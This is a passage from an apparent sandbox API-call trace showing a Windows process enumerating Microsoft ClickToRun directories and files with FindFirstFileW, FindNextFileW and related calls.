ftCreationTime.dwLowDateTime=0x1d04153d, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d04153d, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d04153d, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0217.505] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e44e88, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e47593, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1 [0217.505] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c5095b, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x85c5095b, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x85c5095b, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1 [0217.505] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0217.505] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0217.505] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0217.505] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bc100 | out: lpFindFileData=0x1b0bc100*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.505] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0217.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0217.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc320) returned 1 [0217.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0217.507] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE", lpFilePart=0x0) returned 0x4c [0217.507] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5a70 [0217.510] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.510] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0217.510] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0217.510] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0217.511] FindClose (in: hFindFile=0x1d1f5a70 | out: hFindFile=0x1d1f5a70) returned 1 [0217.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0217.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0217.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0217.512] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE", lpFilePart=0x0) returned 0x4c [0217.512] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.513] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.513] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0217.513] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0217.513] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.513] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0217.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0217.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.514] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16", lpFilePart=0x0) returned 0x55 [0217.515] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\en-us.16\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5a70 [0217.518] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.518] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f0737, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f0737, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0217.518] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f1a63, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f1a63, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0217.518] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f2f99, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f2f99, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0217.518] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.519] FindClose (in: hFindFile=0x1d1f5a70 | out: hFindFile=0x1d1f5a70) returned 1 [0217.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.520] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16", lpFilePart=0x0) returned 0x55 [0217.520] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\en-us.16\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5a70 [0217.521] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f5640, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b5f5640, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.521] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f0737, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f0737, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0217.521] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f1a63, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f1a63, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0217.521] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f2f99, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f2f99, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0217.522] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5f2f99, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b5f2f99, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0217.522] FindClose (in: hFindFile=0x1d1f5a70 | out: hFindFile=0x1d1f5a70) returned 1 [0217.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.523] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16", lpFilePart=0x0) returned 0x56 [0217.523] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\x-none.16\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5a70 [0217.527] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.527] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0217.527] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0217.527] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0217.528] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.528] FindClose (in: hFindFile=0x1d1f5a70 | out: hFindFile=0x1d1f5a70) returned 1 [0217.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.529] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16", lpFilePart=0x0) returned 0x56 [0217.529] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\4BAD322A-C043-4DED-A97A-6FE0C4412FBE\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\4bad322a-c043-4ded-a97a-6fe0c4412fbe\\x-none.16\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5a70 [0217.530] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b5f5640, ftCreationTime.dwHighDateTime=0x1d705ed, 